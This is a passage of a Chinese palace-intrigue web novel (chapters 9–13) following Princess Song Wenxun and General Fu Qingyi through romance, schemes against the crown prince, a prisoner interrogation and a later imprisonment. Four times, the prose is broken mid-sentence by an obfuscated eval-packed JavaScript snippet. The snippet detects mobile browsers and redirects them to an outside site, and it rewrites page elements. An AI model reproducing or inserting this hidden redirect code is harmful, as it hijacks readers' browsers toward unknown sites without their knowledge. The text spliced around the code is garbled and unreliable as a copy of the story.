侍女为难地劝道:“贵君,您安心养病,陛下她……不想见您。” 不是不想,而是不敢。 付清衣看都没看她一眼,他重复道:“我要见她。” 侍女哪里见过这种阵仗,慌慌张张地跑出去搬救兵,屋子里一时间安静到了极点。 付清衣安静地站在原地,正午的光穿过窗棂,将切割后的一片影子落在他身上,撕裂出一道道纵横交错的伤疤。 最后还是匆匆赶过来的李富打破了僵局,他弓着身子小心翼翼道:“将……贵君,陛下给您送来了上等的药材,她说,若您身子好了,她就带您秋狩去。” 长久的沉默,付清衣像是刚刚回神,他的目光终于聚焦,定定地望着李富,脸色惨白:“告诉她……若她不肯见我,我去见她。” 9. 西出阳关(4) “我想见公主。”付清衣眉头紧皱,他刚从战场上下来,满身煞气,衣袍带血,站在军帐边,正和宋闻薰的侍女商量,“我知道不合规矩,我一会儿就出来……姑娘,行行好,我有要事禀告。” 软磨硬泡了半天,还是军帐里的宋闻薰听见动静,道:“让他进来吧。” 付清衣进去了,一眼就看见宋闻薰,她躺在床上闲闲翻看兵书,肩膀上裹着一条毯子,只露出一张脸,面色红润,她听见动静,笑眯眯地看过来,一抬眼看见了面如菜色的付清衣,反而吓了一跳:“这是怎么了?” 付清衣下意识把自己沾满血的左手往后藏了藏,眼睛一眨不眨地看着她,低声道:“听说你受了伤,来看看。” 宋闻薰干笑道:“……我其实是装病。” 付清衣明显不信,大步走过来,面色凝重:“真的?军医没来看过吗?你怎么瞒过军医的?” 宋闻薰叹了口气,冲他挥了挥手,示意他过来些,付清衣刚挨着床沿坐下,宋闻薰便勾着脖子吻上来,狠狠堵住了他的唇,炽热的呼吸排山倒海般占据了他的感官,仿佛无数烟花盛放在脑子里。他蓦然瞪大眼睛,下意识伸手想去推开,然而怀里的人像是嗔怪又像是无奈,一不做二不休,埋怨般轻轻咬了咬他的唇,瞬间将他推拒的动作定格在半空里。 “……我的将军啊。”宋闻薰捧着他的脸,清亮的眸子里倒映出他错愕焦急的神色,不由得失笑,“你是不是忘了,我好歹是辽远王,安排几个人在军营里不是什么难事。” 付清衣抿了抿唇,这一刻,他才深刻感受到眼前人不仅是他的小姑娘,更是大梁万人之上的亲王。 “为什么要装病?”他恢复了平日里吊儿郎当的模样,眉毛一挑,周身沉冷的肃杀之气顿时烟消云散,但还是强撑着绷着脸,面无表情地道,“阿薰,你不是不知道我会有多担心。” 宋闻薰讨好地亲了一下他的脸,软着嗓子笑道:“我这不是没事嘛。” 她生得温婉,一双杏眼水汪汪地看人,像只撒娇的猫。付清衣当即把那点本来就不富裕的怒气丢到了九霄之外:“下回遇到这种事,同我说一声……你装病,是因为军中有太子眼线吗?” 宋闻薰有些讶异,她一直以为付清衣从不过问这些事,转眼一想,付清衣生长在京城侯门世家,自小耳濡目染那些尔虞我诈,他一身正气,不会使用那些手段,但这不代表他看不出来。 想明白这点,她后颈忽然生出一股寒意——会有一日,他看出了她那些狠毒与算计吗? “是。”宋闻薰深吸一口气,坦然承认,“只有病了,太子才会放松警惕。” 付清衣微微笑了:“在玄煞十二营安插眼线,太子好大的胆子。” 宋闻薰敏锐地感觉到他的情绪,蹙眉:“你想做什么?” “不做什么。”付清衣抬手把她的碎发别到耳后,声音压得极轻,“太子野心勃勃,总想着赶尽杀绝,实在是没有为人君主的胸怀啊。” 宋闻薰一愣,付清衣的眸中含笑,但分明有厉色,她隔了好久才找回自己的声音:“清衣……这话可不能乱说。” 付清衣弯了弯眼:“你会告诉陛下吗?” 宋闻薰失笑道:“自然不会。” “那就没事。”付清衣笑得很轻松,眼底却是冷的,“太子想娶付清蓉。” 付清蓉,付清衣的妹妹,玄煞七营的将军,手握兵权。 宋闻薰霎那间心思急转,她倒是忘了,太子到了适婚年龄,这一纸婚约可以拿来大做文章。付家世代忠良,付家兄妹皆是领兵打仗的好手,太子若是娶到了付清蓉,就相当于娶到了一枚人形虎符。 她不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450103|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能让这件事发生。 她抱着付清衣的手紧了紧:“清衣,你会让清蓉嫁给太子吗?” “不会。”付清衣答得很坚决,“她自小活泼,天生便该驰骋疆场,皇宫那种地方,她呆不惯的。” 宋闻薰无声松了口气,她叹息道:“清衣,我与太子已然势同水火,他杀死我的母妃,这个仇我必须得报,若是有一日我与他相争……” 付清衣不假思索道:“臣必当为殿下赴汤蹈火,在所不辞。” 宋闻薰彻底放松下来,她笑眯眯地亲了亲付清衣的下巴,盯着他澄澈清明的眼睛,她的笑意忽然凝在眼角,沉默片刻,声音低下来:“如果有一天……你发现我为了赢他不择手段,会厌恶我吗?” “不会。”付清衣用没沾血的手安抚般摸了摸她的后脑勺。 “要是我失败了呢?要是我变成了太子那样,让你失望了呢?要是我杀了很多人……”宋闻薰一字一句,艰难地往下说,却被付清衣蓦然打断。 他一句责怪也没有,只是垂眼望着她:“阿薰会杀我吗?” “不会。”宋闻薰斩钉截铁。 付清衣笑起来,他笑得那么好看,肆意又骄傲,还带着一点挪揄:“公主既不杀我,我只好牺牲美色,争取把您迷得神魂颠倒,除了我,什么都不想。” 宋闻薰:“………” 她酝酿出的复杂情绪被付清衣搅和得渣都不剩,一时间哭笑不得,嗔怪地拍了一下他的肩膀:“油嘴滑舌。” 付清衣装作被她打疼了,皱眉“嘶”了一声,引得宋闻薰紧张起来,也顾不上他身上有血污,一把扯开他的领子,探身要去查看。 还没等她反应过来,就感受到唇角痒了一下,付清衣趁着她不注意偷偷亲了一口,她茫然抬眼,看见他得意的脸: “扯平。” 10. 西出阳关(5) 付清衣从宋闻薰帐里出来,径直去了牢房。 副将张贵年低声汇报道:“根据您的吩咐,已经抓到了带有赤色条纹袖口的突厥奸细。” 付清衣波澜不惊地点了下头:“好,我去看看。” 张贵年瞟了他一眼,非常嘴贱地加了一句:“将军,你现在和战场上看起来像两个人,干什么去了,满面春光。” 付清衣挑了挑眉。 张贵年毫无所觉,继续道:“辽远王就算长得好看,但人也是京城的亲王,陛下的女儿,将军您这也忒胆大了,一下战场就往人家营帐中跑,脸上就差挂着四个大字——色胆包天。” 付清衣磨了磨牙,辩驳:“我是去汇报军情,淫者见淫。” 张贵年拉长了声音笑道:“汇报军情——从前那些来勤军的贵人怎么没见您……” 他话没说完突然刹住口,一柄短刀迎面而来,擦着他的脖子飞过去,以一个刁钻的角度直奔付清衣面门! 付清衣反应极快,他向后急转弯腰,刀尖在他下巴上刮出一条细小的血口,“乒”一声钉在他身后的墙壁上,霎时将墙壁凿出了一个洞。 付清衣起身,手指抚了抚下巴上的伤,看见一丝血迹,反而冷冷笑了,他目光冰冷地看向不远处的牢房:“阿晋格,你觉得这样就杀得了我吗?” “操!”张贵年脱口一句脏话,伸手用力一扯牢狱中的铁链子,铁栏杆里挂着的血人顿时狠狠吸了口气,露出痛苦的神色。 付清衣居高临下地看着他,表情是毫不掩饰的厌恶:“我再问你一遍,太子,是不是和突厥有来往。” 阿晋格浑身腐烂,被几根铁索吊着才勉强维持了身体平衡,闻言目露凶光,冲付清衣吐出一口血水:“滚!” 付清衣向后退了一步,把铁链往下拽了拽,阿晋格又是一声惨叫。 “姓付的你妈的!”他龇牙咧嘴地痛骂起来,“你不得好死!!!啊!” 付清衣把铁链猛地向上一提,面无表情道:“家母已过世,你想去见她?” 铁链贯穿了他的骨头,阿晋格额上滚下冷汗:“呃啊!太……太子……和突厥没有来往。” “嗯?”付清衣眯起眼,“舌头长得挺像狗尾巴,到死都在护主。” 张贵年隔着铁栏杆往他身上洒了把盐,盐落在皮开肉绽的身体上化开,疼得阿晋格浑身发抖起来。 “你可以选择不开口,”付清衣声音寒凉,“付某在严刑拷问这方面还是很有心得的。” “……” 外头忽然穿出个轻飘飘的女声,听起来像是宋闻薰的侍女:“辽远王到。” 付清衣那面具般的凶狠还没能恐吓完罪犯,听到这声音就自动褪去了,他和张贵年对视了一眼,彼此都从对方眼里看出了尴尬。 地上到处都是蜿蜒的鲜血,有些已经凝固,像张牙舞爪的鬼面,而这显然不能让尊贵的亲王看见。从律法上讲,让勤兵的王公贵族看到这血腥残忍的一幕,是大不敬。 从私心上讲,付清衣也不愿意她沾染血腥味,尤其不愿意让她看见自己在审问犯人时的样子。 张贵年用口型问:“怎么办?” 付清衣抬高声音道:“抱歉,请告诉殿下,我们正在审问罪犯,恐脏了殿下的眼。” 宋闻薰酷似她母亲的脸出现在一片黑暗中,白得像在发光,与周遭环境格格不入,她弯起嘴角,目光轻柔,露出温和含蓄的笑意,在斑驳的血迹和昏黄的灯光衬托下,她的笑意像是开在血里的花,显出一丝诡异来:“无妨,孤并不会责罚你们的。” 张贵年小声感叹:“……背后有人真好。” 宋闻薰神色自若地走过来,付清衣头皮一麻,不着痕迹地挡住了里面血糊般的人,恭敬地行了个礼:“殿下千金之躯,臣不能……” 宋闻薰握着他的手腕,她温软的指尖挑逗般摩挲了一下他的指缝,又迅速收回去,目光在他下巴上的血口上停留了一瞬,脸色微微变了变,转头看向张贵年:“这位是张将军吧。” 张贵年回神,慌忙下跪:“参见殿下。” “起来吧。”宋闻薰低声问,“里面是什么人?” “启禀殿下,是突厥奸细,阿晋格。” “你就是……咳咳……那个辽远王?”阿晋格沙哑的嗓音里透出一种扭曲的兴奋,“贱人。” 张贵年脱口一句“放肆!”,付清衣拧眉重重按下铁链,如愿以偿地听见阿晋格的惨叫,他担忧地看了一眼宋闻薰,宋闻薰连眼皮都没掀,只是冲他安抚地笑笑,伸手示意他让开。 这种程度的辱骂对从小被欺负大的宋闻薰来说毫无攻击力,她平静地看着阿晋格,像是在看一只微不足道的蝼蚁。 “……我听说过你。”阿晋格的眼里淬了毒,露出野兽般的疯狂,直勾勾地盯住宋闻薰,恨不得从她身上咬下块肉来,“你这个毒妇!” 宋闻薰并不受影响,她缓缓吐出几个字来:“王女很担心你,阿晋格。” 阿晋格疯狂的目光霎时凝固在脸上:“王女?你把她怎么样了!!?贱人!毒妇!患病的疯子!!!你杀死了那么多人……” 宋闻薰的目光沉下去,她微抬手指,身后的侍女,或者叫暗卫更合适,暗卫指尖射出细如牛毛的银针,刺穿了阿晋格的手腕。 付清衣同样听不下去了,他压着火气握着刚刚的那把刀反扔回去,刺穿了阿晋格的腰侧。 同时受到双重暴击的阿晋格一口血喷了出来,嗓子里卡满的脏话不上不下十分难受。 “王女无性命之忧。”宋闻薰缓缓说出这句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450104|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,表情仍是克制的,漆黑的瞳孔直勾勾盯着那个血肉模糊的人,平白显出几分阴森,“但我现在可以确定你和太子有联络了。若是你继续这样乱咬人,孤不能保证自己会做出什么事情。” 在旁边一直听着没出声的付清衣闻言转头看了她一眼,这一眼看得宋闻薰僵硬起来,她迅速给自己披上了一层人畜无害的画皮,走到付清衣身后,轻声抱怨:“咳……这里好多血,我有些头晕,牢房真是太可怕了。” 阿晋格终于缓过一口气,丝毫不给面子地拆穿了她的表演:“放……屁……” 宋闻薰摸了摸鼻子,听见身边的付清衣很轻地笑了一声。 阿晋格最终还是供出了太子与突厥多年书信往来,付清衣命张贵年将这些话都记下了,宋闻薰则带着侍女在一个偏僻的角落挖出了一小摞纸张,上面白纸黑字清清楚楚,赫然是太子的手迹。 令人惊讶的是,宋闻薰握着那张足以打垮太子党的纸张,像是握了张包点心的垃圾纸一样不当回事,随手将她递给了侍女。 “清衣。”宋闻薰虚弱地朝付清衣招招手,付清衣立刻焦急地跑过来,拧着眉看她。 这是个隐蔽的地方,不会有多少人经过,宋闻薰把脸埋进他胸口里,深深呼出一口气,声音闷闷的,听起来很虚弱:“他那副样子真吓人,清衣,我有点儿害怕。” 付清衣愣了愣,胸膛震动起来,声音里有压不住的笑意:“这么怕啊?那多埋一会儿。” 跟过来的张贵年眼观鼻鼻观心,在宋闻薰朝付清衣招手的一瞬间就面无表情地背过身去,权当自己瞎了眼睛聋了耳朵,主动承担起望风的职责。 金碧辉煌的东宫正殿内,金丝镶凤汝窑杯端正放在桌上,一只骨节修长的手搭在杯侧,漫不经心地敲了敲桌子:“他们动作倒快,我还以为阿晋格能多撑几天呢。” 站在他面前的黑袍人迟疑道:“殿下,辽远王不过是个不受重用的公主,仗着母妃死亡赚了个王位,何须在她身上多花功夫?” “哦?那你觉得宋闻薰是个什么样的人?” 黑袍人不假思索:“我与她有过一面之缘,她怯懦、低微,礼数周到,谨慎小心,一个眼神就能让她惊慌失措,难成大器。” 主位上的男子轻笑一声,目光饶有兴趣地看着黑袍人,忽然伸手摔碎了名贵的杯子。 “你错了。”他盯着一地的碎片,一字一顿,“她潜伏多年,心思缜密,冷血无情,不择手段,她是一只真正的恶鬼。” 太子想起冬夜里呼啸的风声,躺在雪堆里死不瞑目的尸体,直到死前那种困惑和震惊依旧定格在她苍老的面庞上,像是不敢置信她的亲女儿会杀死了她。 “不要轻敌。”太子攥紧了拳头,漠然提醒道,“她会是我们最危险的敌人。” 11. 西出阳关(6) 宋闻薰去见卡蓝王女前,特地把自己收拾了一通,白裙黑发,不施粉黛。她在装纯良这方面简直天赋异禀,带着羞涩的笑意步入卡蓝的帐篷时,看起来温柔可亲,单纯无害,简直把“我很善良”四个字刻在了脸上。 卡蓝是个缺心眼儿的小王女,没吃过什么苦,从小在突厥族的悉心呵护下长大,即使被父王送过来和亲了,她看起来依旧活泼又开朗:“你就是中原的辽远王吗?” 宋闻薰颔首,有些羞愧似的,脸上泛起一丝红晕:“王女莫怪,军中条件不好,等到了京城我就给您安排好住所。” “不怪你不怪你,殿下,你真好看。”卡蓝笑眯眯地凑过来问,“我想跟你打听个事情,我的一个部下,他叫阿晋格,几天前走丢了,你知不知道他在哪里呀?” 宋闻薰瞳孔猛地一缩,她下意识地舔了舔牙尖,扯出一个十二分抱歉的微笑,好像十分为难一样:“我不知道。不过我可以命人去寻找。” 卡蓝王女摆摆手,露出欣喜又不舍的神情:“那他应该是走了吧,他以前就说过要走的。”她凑上来,眼睛亮晶晶地看着宋闻薰,由衷地感慨道,“你们中原的女子都这样好看吗?你的脸看起来软软的,我可不可以捏捏你的脸?” 宋闻薰一愣,弯起眼睛笑得如沐春风:“谢谢,可以。” 卡蓝王女喜出望外,小心翼翼地伸手,特别特别轻柔地捏了捏宋闻薰的脸。 手感好好啊,像他们草原上最软的小羊羔。 卡蓝王女对她更亲近了几分,她声音压低了,好奇地问:“那个付什么将军,他长得也好看,还会弯弓射雕,和亲的意思是我会嫁给他吗?” 宋闻薰“噗嗤”笑了,冲她眨眨眼:“不是。” “啊——”卡蓝王女拖长声音失望地叹了口气,锲而不舍地追问道,“那我会嫁给谁呢?” 宋闻薰微不可查地挑了挑眉,口吻变得温柔而带着一点儿诱哄,熟悉她的人都知道,一旦她口吻变了,下面的内容多半不是什么好事:“嫁给太子殿下。” 走到帐篷前准备拉开帐篷的付清衣脚步一顿,不可置信地瞪大了眼睛。 “太子像殿下一样好看吗?”卡蓝的目光变得充满了期待,草原上长大的姑娘大多热情豪放,聊起这些也不害羞,“他好看我就嫁。” 宋闻薰垂眼瞧着她,有那么一瞬间,那双清透的眸子里流露出半分怜悯来,像猎手看着落在网中的猎物,不过顷刻即逝:“好看。” “他会射雕吗?” “会。而且还会舞剑哦。” “太好啦!”卡蓝咯咯笑起来,娇艳的脸庞仿佛一朵盛开的蔷薇,充满活力和小女孩特有的天真,“我喜欢他。” 宋闻薰却不像她那样高兴,她看着她开怀大笑的脸,垂下眼睛。 “唰”一声,刺眼的光照进来,付清衣逆光站着,脸色极为难看,宋闻薰仰头看着他,脸上的惊色一闪而过,随后极快地被一层温和的假面掩盖,她蹙眉不解问:“付将军?怎么了?” 付清衣脸色难看极了,他盯着宋闻薰,像是在克制着某种过于汹涌的情绪,那一瞬间,他的目光甚至是痛楚的,半晌,他颓然闭了闭眼,哑声道:“殿下,我们谈谈。” 宋闻薰望着他的脸,从容一笑:“将军,别吓到王女。” 付清衣深吸一口气,强行压下情绪,敛眉弯腰,行了个礼:“是。” 宋闻薰唇角笑意一凝,她神色复杂地看了一眼卡蓝,抬脚走了出去。 老实巴交的卡蓝怔怔地看着他们,一头雾水,还徒劳地扯着她的袖子:“哎,我还有问题要问呢……” 出了军帐走到偏僻处,付清衣的脸色彻底沉了下来,他道:“你想让卡蓝嫁给太子?” 宋闻薰不闪不避地看着他:“对。这样不好吗?既不会让付清蓉嫁过去,又可以压制太子的势力。” “你明知道东宫是什么地方,也知道我们和东宫必然是不死不休的下场,卡蓝嫁过去,下场只有一个。” 宋闻薰扬起眉,妩媚地笑了,她极少露出这样的笑容,像一朵开在毒液里的罂粟花:“那又怎么样?” 付清衣瞳孔一缩。 “将军,这是最好的破局法。只牺牲突厥王女的一条性命,便能换我们旗开得胜。”宋闻薰看着他的脸色,只觉得心头一冷,然而面具带久了总有摘下的一日,她硬着头皮说下去,“……划算得很。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450105|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 付清衣沉默良久,算来这是他第一次与宋闻薰争吵,方才宋闻薰的模样实在太过陌生,一时间居然让他产生了靠近不了的疏离感。他方才听见她循循善诱地将人骗入圈套时依然有一瞬间悚然,将领的本能让他嗅到了和平表面下的血腥味,宋闻薰是从现在开始步棋,还是几年前,一盘杀伐果断的棋局已经悄然拉开帷幕? 他沉默良久,道:“卡蓝没什么心计,眼睁睁看着一条无辜性命消逝,终究于心不忍。” 付清衣生长在长安最干净的付家,老侯爷又与发妻感情极好,自不会纳妾,在这样的家庭里,付清衣被教出了一身与周遭格格不入的光风霁月,从不沾染权谋。 宋闻薰无声地自嘲了一下,她对上付清衣目光,表情缓缓冷了下去:“清衣,我与太子早已经你死我活。这一步棋不管你同意与否,我都必须下。” 看付清衣沉默,她语气缓和下来,循循劝导:“普天之下,哪一份权力不是以血色铺就的?她不嫁过去,就是付清蓉嫁过去,到那时候,你我都会身陷囹圄,大不了,若以后太子倒台,我不动卡蓝便是。” 付清衣大约终于意识到宋闻薰已经下定了决心,疲惫地揉了揉眉心:“殿下良策,臣还有事,先告辞了。” 他走过卡蓝的王帐,目光悲悯地看了眼那个尚在花季的少女,卡蓝冲着他和宋闻薰打招呼,笑容绽开,像生长在阳光下的格桑花。宋闻薰温柔地笑着回礼,礼数周全妥帖。付清衣看着她们,忽然想起……宋闻薰并未比卡蓝大多少。 同为王女,宋闻薰担了个公主的名头,却从未享受过公主应有的宠爱。 卡蓝的父王,以卡蓝一日活着突厥永远称臣纳贡为条件,来换他女儿的安宁,如果宋闻薰也拥有这样的父母,她现在也会和卡蓝一样,无忧无虑,自在快乐。 思及此处,他心已经软了一片,再不忍心与宋闻薰冷战。他偏过头,用余光看见宋闻薰还站在不远处默默看着他,踟蹰片刻,主动走过去。 “……晚上想吃什么?”他轻咳一声,有点不自在地问。 饶是宋闻薰也茫然了:“啊?” 付清衣抬起手,揉乱她的头发,笑起来:“我去给你买。” 12. 无故人(2) 宋闻薰低头正心不在焉地看奏折,她翻了二十多张,竟无一张是为付清衣说情。 圣旨是她下的,然而她看着满朝顺从的文武百官,却有种没来由的愤怒。 李富慌慌张张地跑进来,扬声道:“陛下!付将……” 他话没说完,付清衣裹挟着一道雪亮的剑光疾若旋风般闯进大殿,他身后浩浩荡荡数百侍卫,没有一人能拦住他。 宋闻薰似乎早有预料,无波无澜地望着他:“你来了。” 他身影如鬼魅,快得让人看不清剑招,剑锋劈过想来阻拦的侍卫,奔涌而出的剑气锋利苍茫,犹带着战场上招招毙命的威势,逼得众人纷纷后退。 在惊呼和叫嚷声里,他已经飞身越过侍卫,剑尖劈头盖脸地凌空斩下,正对着宋闻薰。那疾风暴雨般的剑身照出付清衣惨白的脸色,削铁如泥的剑却没有落在宋闻薰脖子上,只是穿过屏风狠狠钉进了黄金龙椅。 整个大殿顿时一片死寂。 付清衣穿着单薄的白色长袍,清瘦得仿佛一阵风就能吹倒。他攥着佩剑的手微微颤抖着,勉强支撑住了摇摇欲坠的身体,宋闻薰下意识要去扶他,付清衣一口鲜血却毫无预兆地喷了出来,染红了宋闻薰素白的手指。 宋闻薰额上青筋一跳,她低下头端详着手上触目惊心的血迹,半晌没能说出话来。 付清衣贴在她耳边哑声问:“把我绑在你身侧,这一生都只能长居深宫,等待着你的宠幸,被万人耻笑、唾骂,这就是你想要的?” 他神情冷静,面容肃穆仿佛出征。 宋闻薰勉强定下心神,挥手辞退了众人。殿门轰然关上,昏暗的光线下,付清衣仿佛尚存于世的一息魂魄,脸色白得吓人。 “……我本不想这样。”她闭了闭眼,“我没有办法了。清衣,你我走到这一步,我若不这样,你还会呆在我身边吗。” 她尾音落下来,虽是在问他,却已经是笃定的口吻。 “我们可以不走到这一步。”付清衣面无表情地看着她,血从他握着剑柄的手上滴落,显出一种妖艳的诡异:“陛下这些年扩军备战,损失最小的是你,损失最大的是你的子民。战争一旦爆发,又有无数壮丁充军,无数士兵战死,无数人妻离子散。你不是没有别的办法,只是在你眼里,那些人的命不算命。” 宋闻薰沉默片刻,扯出一个笑来,伸手擦干净血迹,嗓音却是颤的:“我没有想到有一天你我也会兵戎相见,清衣,太医说你急火攻心,风寒入体,不及时疗养会落下病根,不如先冷静下来……” “不用了。”付清衣平静地看向她,忽然拔剑,那雪亮的剑锋在半空中一闪而过,径直朝他的喉咙刺去! 电光火石的刹那,一只手伸过来一把握住了剑锋,毫不畏惧地阻止了剑锋的前进,血线在空中凝成一道明艳的弧度,像宋闻薰微微勾起的唇。付清衣的瞳孔顿时一缩,攥剑的手不由自主地停了下来,与此同时,影卫飞掠而下,厚重的铁链迅速束缚住了他的双手,将他从龙椅前压跪在了地上。 宋闻薰的手指上,一道剑刻的伤痕深可见骨,她仿佛感觉不到痛一般缓步走到付清衣面前,尚且带血的手指抚摸着他的脸颊,她深吸一口气,忽然和煦地笑起来:“贵君以下犯上,死罪可免,活罪难逃。夺其佩剑,囚于熙宁宫。” “无朕旨意,终身不得出宫。” 付清衣漠然望向她,从前意气风发的大将军,如今头被人按着,膝盖跪地,白衣上血迹斑斑,狼狈的阶下囚,挣扎的笼中鸟。 “两次了。”他没头没尾地轻声道。宋闻薰却听懂了,自嘲地牵了牵嘴角。 她站在龙椅前,明黄龙袍委地,黝黑的眼睛沉静如汹涌的潭水,居高临 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450106|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下地与他对视。 一粒软筋散悄然被送入他口中,强逼他咽了下去。付清衣猛地掐住自己的喉咙干呕起来,他死寂的目光中终于出现一丝厉色,缓缓抬头:“咳……你给我吃了什么?!” 他瞳孔颤抖如风中的烛,眼底一片红,却生生忍着,忍得整个人都颤抖起来。 宋闻薰像被滚烫的烙铁灼了一下,与他对视一眼后就飞速错开他的目光,低声吩咐暗卫:“把他送去休息,宣太医,指派人严加看守……他武功已废,如果出了什么事,你们一个也活不了。” 最后一句话她咬字很重,像是在刻意说给某个人听。 付清衣最是心软,碍着十几条无辜性命,不会贸然自尽。 她最了解他,也最知道哪里扎下去最疼。 宋闻薰僵立在原地,眼睁睁看着逐渐连跪都跪不稳,缓缓倒下去的付清衣,他的目光透过血和人群与她对视,像在拼尽全力寻找什么。一股钝痛忽然后知后觉爬上宋闻薰的肺腑,她空茫地想,为什么现在她掌握了权力,做什么都没人敢置喙了,她却一点都不觉得高兴? 过去她苦心筹谋,机关算尽,不就是为了有一天能随心所欲么? 她盯着自己满手的血,光滑瓷砖映出明黄龙袍和一个模糊苍白的影子,她惶惑地发现,那个身影居然连自己都感到陌生。 她踉跄着后退,狠狠地一把攥住龙椅的扶手,冰凉的金质扶手是一条巨蟒的形状,仿佛正蛰伏着看她,她猛然松开手,那一霎那声音几乎是尖利的:“出去!都给朕出去!” 侍从们很少见女皇如此发怒,脚都软了,忙不迭架着付清衣退了下去。付清衣离开前微微扭头看了她一眼,那一眼没有仇恨,没有憎恶,甚至没有哀伤。 那是含着怜悯和失望的一眼,却从此成了宋闻薰午夜梦回时最狰狞可怖的梦境。 13. 西出阳关(7) 宋闻薰霍然苏醒,她脸色不怎么好看,半坐在床上,眼睛里空空荡荡的,什么也没有。躺在他身边的付清衣动了动,慢慢转醒,他眯着眼睛反应了片刻,捞过宋闻薰的手臂,安抚似的抱着,低声问:“怎么了?” “做了个噩梦。” “梦见什么?” “梦见……”宋闻薰张了张口,不知为何又把后半句咽下去,“忘了。” 被这么一闹腾,他们都没了睡意,眼见着天也快亮了,宋闻薰推了推他:“你该走了。” “这可真像偷情。”付清衣笑着嘟哝了一句,披上夜行衣,临走前看她还是有些愣怔,俯身亲了亲她的额头,“阿薰,别怕,梦都是反的。” 宋闻薰微微点了点头,蹙着的眉松开,目送着他悄悄离开。付清衣的背影与夜色融为一体,他轻功极好,几个腾挪便消失得无影无踪,连脚步声也不曾发出。 今天是付清衣的妹妹付清蓉凯旋的日子,这一场仗打得极漂亮,朝廷升付清衣为定北将军,赐付清蓉昭阳郡主爵位。 十万大军浩浩荡荡地列阵以待,付清衣难得把一身重甲脱去,换上了深玄色长袍,他长身而立,站在雪地中央,寒星映雪的一双眸子镇定地望着远处,手里攥着一把熠熠生光的唐刀,端的是气宇轩昂的少年将军模样。 宋闻薰微笑着站在离他稍远一些的地方,她今日并不想喧宾夺主,穿得很是简朴,目光至始至终都没有从付清衣身上离开,温柔中含着欣赏。 天色微沉,大片大片的雪花落下,在一片落针可闻的寂静中,忽然有隆隆的马蹄声传来,一匹赤兔马率众飞跃而起,迎风奔腾而来,一身鲜红战袍的少女左手持弓,右手拽缰绳,脸上沾了血,目光却灼灼有神,她身后是铺天盖地的军队,她身前是猛然欢呼起来的将士,而她的长发被粗粝的沙漠风吹起,红衣烈烈,是一轮逐渐从地平线升起的夺目朝阳。 付清衣露出笑来,四周战鼓擂动,红色的少女骑马径直奔到他面前,一抬手,一颗头颅被扔在他脚前。 “哈努王的脑袋。”少女倨傲地仰了仰下巴,而后她利落地翻身下马,目标明确地走到张贵年身边,在众目睽睽之下——强吻了张副将。 周围的将领一下子哄笑起来,张贵年登时闹了个大红脸,手足无措地甚至忘了推开她。 刚准备庆功的老元帅先是一懵,而后面色大变,怒不可遏:“付清蓉!给我放开!光天化日之下成何体统!!!” “亲一下而已。”付清蓉满不在乎地撒开张贵年的手,随手揉了一把张副将的脑袋,又欣赏了一会儿张副将满面通红无地自容的模样,这才目光一转,落在宋闻薰身上,饶有兴致地凑过去,惊奇道,“哇,军中怎会有这样标致的美人儿?美人姐姐,你叫什么名字?家住何处?可曾成亲?” 这下不止是老元帅,连刚开始看热闹的付清衣也黑了脸,他加重语气呵斥:“付、清、蓉!你给我老老实实滚回来,这是辽远王,休得无礼。” 老元帅瞥了跳脚的付清衣一眼,很想啐他,这个泼皮也好意思教训妹妹,也不想想自己是个什么德行。 “无妨,在下宋闻薰,久仰昭阳郡主大名,郡主这一吻真是令人印象深刻。”宋闻薰笑着朝付清蓉抱拳,“恭喜郡主。” 付清蓉对这个一点也不摆架子的亲王很有好感,笑眯眯地回了一礼:“见过辽远王,我真喜欢你。” 她还想去抓宋闻薰的手,碍于旁边还杵着个满脸不愉快的付清衣,视线十分冷漠地盯着她,好像她干了什么大逆不道的事,付清蓉默默把手缩了回去。 付清衣拧着她的耳朵把她揪回来:“一天不打你就上房揭瓦了,好歹也是个将军了,怎么还像从前那样咋咋呼呼的。” 付清蓉扬了扬眉,很是骄傲地把地上的人头抓起来凑到她哥面前:“哥,我很靠谱的,这颗脑袋可是我亲手砍下来的。” 